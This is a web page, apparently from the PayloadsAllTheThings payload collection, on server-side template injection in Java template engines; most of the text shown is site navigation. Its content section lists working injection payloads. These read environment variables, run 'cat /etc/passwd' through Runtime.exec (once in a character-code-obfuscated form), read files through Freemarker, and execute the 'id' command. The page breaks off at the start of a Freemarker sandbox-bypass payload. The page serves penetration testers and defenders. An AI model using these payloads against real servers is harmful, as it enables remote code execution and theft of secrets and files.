<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_60" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_60" id="__nav_60_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Zip Slip
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_60_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_60">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Zip Slip
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Zip%20Slip/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Zip Slip
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_61" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_61" id="__nav_61_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LEARNING AND SOCIALS
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_61_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_61">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
LEARNING AND SOCIALS
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Books
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Twitter
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Youtube
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_62" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_62" id="__nav_62_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
template vuln
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_62_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_62">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
template vuln
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../_template_vuln/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Vulnerability Title
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
|
||
|
||
<div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
|
||
<div class="md-sidebar__scrollwrap">
|
||
<div class="md-sidebar__inner">
|
||
|
||
|
||
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<label class="md-nav__title" for="__toc">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Table of contents
|
||
</label>
|
||
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#summary" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Summary
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#templating-libraries" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Templating Libraries
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#java" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Java
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Java">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#java-basic-injection" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Java - Basic Injection
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#java-retrieve-environment-variables" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Java - Retrieve Environment Variables
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#java-retrieve-etcpasswd" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Java - Retrieve /etc/passwd
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#freemarker" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Freemarker
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Freemarker">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#freemarker-basic-injection" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Freemarker - Basic Injection
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#freemarker-read-file" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Freemarker - Read File
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#freemarker-code-execution" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Freemarker - Code Execution
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#freemarker-sandbox-bypass" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Freemarker - Sandbox Bypass
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#codepen" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Codepen
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#jinjava" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Jinjava
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Jinjava">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#jinjava-basic-injection" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Jinjava - Basic Injection
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#jinjava-command-execution" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Jinjava - Command Execution
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#pebble" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Pebble
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Pebble">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#pebble-basic-injection" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Pebble - Basic Injection
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#pebble-code-execution" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Pebble - Code Execution
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#velocity" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Velocity
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#groovy" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Groovy
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Groovy">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#groovy-basic-injection" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Groovy - Basic injection
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#groovy-read-file" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Groovy - Read File
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#groovy-http-request" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Groovy - HTTP Request
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#groovy-command-execution" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Groovy - Command Execution
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#groovy-sandbox-bypass" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Groovy - Sandbox Bypass
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#spring-expression-language" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Spring Expression Language
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Spring Expression Language">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#spel-basic-injection" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
SpEL - Basic Injection
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#spel-dns-exfiltration" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
SpEL - DNS Exfiltration
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#spel-session-attributes" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
SpEL - Session Attributes
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#spel-command-execution" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
SpEL - Command Execution
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#references" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
References
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</nav>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
|
||
|
||
<div class="md-content" data-md-component="content">
|
||
<article class="md-content__inner md-typeset">
|
||
|
||
|
||
|
||
|
||
|
||
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server Side Template Injection/Java.md" title="Edit this page" class="md-content__button md-icon">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg>
|
||
</a>
|
||
|
||
|
||
|
||
|
||
|
||
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/Server Side Template Injection/Java.md" title="View source of this page" class="md-content__button md-icon">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M17 18c.56 0 1 .44 1 1s-.44 1-1 1-1-.44-1-1 .44-1 1-1m0-3c-2.73 0-5.06 1.66-6 4 .94 2.34 3.27 4 6 4s5.06-1.66 6-4c-.94-2.34-3.27-4-6-4m0 6.5a2.5 2.5 0 0 1-2.5-2.5 2.5 2.5 0 0 1 2.5-2.5 2.5 2.5 0 0 1 2.5 2.5 2.5 2.5 0 0 1-2.5 2.5M9.27 20H6V4h7v5h5v4.07c.7.08 1.36.25 2 .49V8l-6-6H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h4.5a8.2 8.2 0 0 1-1.23-2"/></svg>
|
||
</a>
|
||
|
||
|
||
|
||
<h1 id="server-side-template-injection-java">Server Side Template Injection - Java</h1>
|
||
<blockquote>
|
||
<p>Server-Side Template Injection (SSTI) is a security vulnerability that occurs when user input is embedded into server-side templates in an unsafe manner, allowing attackers to inject and execute arbitrary code. In Java, SSTI can be particularly dangerous due to the power and flexibility of Java-based templating engines such as JSP (JavaServer Pages), Thymeleaf, and FreeMarker.</p>
|
||
</blockquote>
|
||
<h2 id="summary">Summary</h2>
|
||
<ul>
|
||
<li><a href="#templating-libraries">Templating Libraries</a></li>
|
||
<li><a href="#java">Java</a><ul>
|
||
<li><a href="#java---basic-injection">Java - Basic Injection</a></li>
|
||
<li><a href="#java---retrieve-environment-variables">Java - Retrieve Environment Variables</a></li>
|
||
<li><a href="#java---retrieve-etcpasswd">Java - Retrieve /etc/passwd</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#freemarker">Freemarker</a><ul>
|
||
<li><a href="#freemarker---basic-injection">Freemarker - Basic Injection</a></li>
|
||
<li><a href="#freemarker---read-file">Freemarker - Read File</a></li>
|
||
<li><a href="#freemarker---code-execution">Freemarker - Code Execution</a></li>
|
||
<li><a href="#freemarker---sandbox-bypass">Freemarker - Sandbox Bypass</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#codepen">Codepen</a></li>
|
||
<li><a href="#jinjava">Jinjava</a><ul>
|
||
<li><a href="#jinjava---basic-injection">Jinjava - Basic Injection</a></li>
|
||
<li><a href="#jinjava---command-execution">Jinjava - Command Execution</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#pebble">Pebble</a><ul>
|
||
<li><a href="#pebble---basic-injection">Pebble - Basic Injection</a></li>
|
||
<li><a href="#pebble---code-execution">Pebble - Code Execution</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#velocity">Velocity</a></li>
|
||
<li><a href="#groovy">Groovy</a><ul>
|
||
<li><a href="#groovy---basic-injection">Groovy - Basic Injection</a></li>
|
||
<li><a href="#groovy---read-file">Groovy - Read File</a></li>
|
||
<li><a href="#groovy---http-request">Groovy - HTTP Request:</a></li>
|
||
<li><a href="#groovy---command-execution">Groovy - Command Execution</a></li>
|
||
<li><a href="#groovy---sandbox-bypass">Groovy - Sandbox Bypass</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#spring-expression-language">Spring Expression Language</a><ul>
|
||
<li><a href="#spel---basic-injection">SpEL - Basic Injection</a></li>
|
||
<li><a href="#spel---dns-exfiltration">SpEL - DNS Exfiltration</a></li>
|
||
<li><a href="#spel---session-attributes">SpEL - Session Attributes</a></li>
|
||
<li><a href="#spel---command-execution">SpEL - Command Execution</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#references">References</a></li>
|
||
</ul>
|
||
<h2 id="templating-libraries">Templating Libraries</h2>
|
||
<table>
|
||
<thead>
|
||
<tr>
|
||
<th>Template Name</th>
|
||
<th>Payload Format</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td>Codepen</td>
|
||
<td><code>#{}</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td>Freemarker</td>
|
||
<td><code>${3*3}</code>, <code>#{3*3}</code>, <code>[=3*3]</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td>Groovy</td>
|
||
<td><code>${9*9}</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td>Jinjava</td>
|
||
<td><code>{{ }}</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td>Pebble</td>
|
||
<td><code>{{ }}</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td>Spring</td>
|
||
<td><code>*{7*7}</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td>Thymeleaf</td>
|
||
<td><code>[[ ]]</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td>Velocity</td>
|
||
<td><code>#set($X="") $X</code></td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<h2 id="java">Java</h2>
|
||
<h3 id="java-basic-injection">Java - Basic Injection</h3>
|
||
<blockquote>
|
||
<p>Multiple variable expressions can be used, if <code>${...}</code> doesn't work try <code>#{...}</code>, <code>*{...}</code>, <code>@{...}</code> or <code>~{...}</code>.</p>
|
||
</blockquote>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="n">$</span><span class="p">{</span><span class="mi">7</span><span class="o">*</span><span class="mi">7</span><span class="p">}</span>
|
||
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="n">$</span><span class="p">{{</span><span class="mi">7</span><span class="o">*</span><span class="mi">7</span><span class="p">}}</span>
|
||
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a><span class="n">$</span><span class="p">{</span><span class="kd">class</span><span class="err">.</span><span class="nc">getClassLoader</span><span class="p">()}</span>
|
||
<a id="__codelineno-0-4" name="__codelineno-0-4" href="#__codelineno-0-4"></a><span class="n">$</span><span class="p">{</span><span class="kd">class</span><span class="err">.</span><span class="nc">getResource</span><span class="p">(</span><span class="s">""</span><span class="p">).</span><span class="na">getPath</span><span class="p">()}</span>
|
||
<a id="__codelineno-0-5" name="__codelineno-0-5" href="#__codelineno-0-5"></a><span class="n">$</span><span class="p">{</span><span class="kd">class</span><span class="err">.</span><span class="nc">getResource</span><span class="p">(</span><span class="s">"../../../../../index.htm"</span><span class="p">).</span><span class="na">getContent</span><span class="p">()}</span>
|
||
</code></pre></div>
|
||
<h3 id="java-retrieve-environment-variables">Java - Retrieve Environment Variables</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="n">$</span><span class="p">{</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">System</span><span class="p">).</span><span class="na">getenv</span><span class="p">()}</span>
|
||
</code></pre></div>
|
||
<h3 id="java-retrieve-etcpasswd">Java - Retrieve /etc/passwd</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="n">$</span><span class="p">{</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Runtime</span><span class="p">).</span><span class="na">getRuntime</span><span class="p">().</span><span class="na">exec</span><span class="p">(</span><span class="err">'</span><span class="n">cat</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">passwd</span><span class="err">'</span><span class="p">)}</span>
|
||
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a>
|
||
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a><span class="n">$</span><span class="p">{</span><span class="n">T</span><span class="p">(</span><span class="n">org</span><span class="p">.</span><span class="na">apache</span><span class="p">.</span><span class="na">commons</span><span class="p">.</span><span class="na">io</span><span class="p">.</span><span class="na">IOUtils</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Runtime</span><span class="p">).</span><span class="na">getRuntime</span><span class="p">().</span><span class="na">exec</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">99</span><span class="p">).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">97</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">116</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">32</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">47</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">101</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">116</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">99</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">47</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">112</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">97</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">115</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">115</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">119</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">100</span><span class="p">))).</span><span class="na">getInputStream</span><span class="p">())}</span>
|
||
</code></pre></div>
|
||
<hr />
|
||
<h2 id="freemarker">Freemarker</h2>
|
||
<p><a href="https://freemarker.apache.org/">Official website</a></p>
|
||
<blockquote>
|
||
<p>Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data. </p>
|
||
</blockquote>
|
||
<p>You can try your payloads at <a href="https://try.freemarker.apache.org">https://try.freemarker.apache.org</a></p>
|
||
<h3 id="freemarker-basic-injection">Freemarker - Basic Injection</h3>
|
||
<p>The template can be :</p>
|
||
<ul>
|
||
<li>Default: <code>${3*3}</code> </li>
|
||
<li>Legacy: <code>#{3*3}</code></li>
|
||
<li>Alternative: <code>[=3*3]</code> since <a href="https://freemarker.apache.org/docs/dgui_misc_alternativesyntax.html">FreeMarker 2.3.4</a></li>
|
||
</ul>
|
||
<h3 id="freemarker-read-file">Freemarker - Read File</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="nx">$</span><span class="p">{</span><span class="nx">product</span><span class="p">.</span><span class="nx">getClass</span><span class="p">().</span><span class="nx">getProtectionDomain</span><span class="p">().</span><span class="nx">getCodeSource</span><span class="p">().</span><span class="nx">getLocation</span><span class="p">().</span><span class="nx">toURI</span><span class="p">().</span><span class="nx">resolve</span><span class="p">(</span><span class="s1">'path_to_the_file'</span><span class="p">).</span><span class="nx">toURL</span><span class="p">().</span><span class="nx">openStream</span><span class="p">().</span><span class="nx">readAllBytes</span><span class="p">()</span><span class="o">?</span><span class="nx">join</span><span class="p">(</span><span class="s2">" "</span><span class="p">)}</span>
|
||
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="nx">Convert</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">returned</span><span class="w"> </span><span class="nx">bytes</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">ASCII</span>
|
||
</code></pre></div>
|
||
<h3 id="freemarker-code-execution">Freemarker - Code Execution</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="o"><</span><span class="n">#assign</span><span class="w"> </span><span class="nx">ex</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"freemarker.template.utility.Execute"</span><span class="o">?</span><span class="ow">new</span><span class="p">()</span><span class="o">></span><span class="nx">$</span><span class="p">{</span><span class="w"> </span><span class="nx">ex</span><span class="p">(</span><span class="s2">"id"</span><span class="p">)}</span>
|
||
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="p">[</span><span class="n">#assign</span><span class="w"> </span><span class="nx">ex</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'freemarker.template.utility.Execute'</span><span class="o">?</span><span class="ow">new</span><span class="p">()]</span><span class="nx">$</span><span class="p">{</span><span class="w"> </span><span class="nx">ex</span><span class="p">(</span><span class="s1">'id'</span><span class="p">)}</span>
|
||
<a id="__codelineno-4-3" name="__codelineno-4-3" href="#__codelineno-4-3"></a><span class="nx">$</span><span class="p">{</span><span class="s2">"freemarker.template.utility.Execute"</span><span class="o">?</span><span class="ow">new</span><span class="p">()(</span><span class="s2">"id"</span><span class="p">)}</span>
|
||
<a id="__codelineno-4-4" name="__codelineno-4-4" href="#__codelineno-4-4"></a><span class="err">#</span><span class="p">{</span><span class="s2">"freemarker.template.utility.Execute"</span><span class="o">?</span><span class="ow">new</span><span class="p">()(</span><span class="s2">"id"</span><span class="p">)}</span>
|
||
<a id="__codelineno-4-5" name="__codelineno-4-5" href="#__codelineno-4-5"></a><span class="p">[</span><span class="o">=</span><span class="s2">"freemarker.template.utility.Execute"</span><span class="o">?</span><span class="ow">new</span><span class="p">()(</span><span class="s2">"id"</span><span class="p">)]</span>
|
||
</code></pre></div>
|
||
<h3 id="freemarker-sandbox-bypass">Freemarker - Sandbox Bypass</h3>
|
||
<p><img alt="⚠" class="twemoji" src="https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.1.0/assets/svg/26a0.svg" title=":warning:" /> only works on Freemarker versions below 2.3.30</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="o"><</span><span class="n">#assign</span><span class="w"> </span><span class="nx">classloader</span><span class="o">=</span><span class="nx">article</span><span class="p">.</span><span class="kd">class</span><span class="p">.</span><span class="nx">protectionDomain</span><span class="p">.</span><span class="nx">classLoader</span><span class="o">></span>
|
||
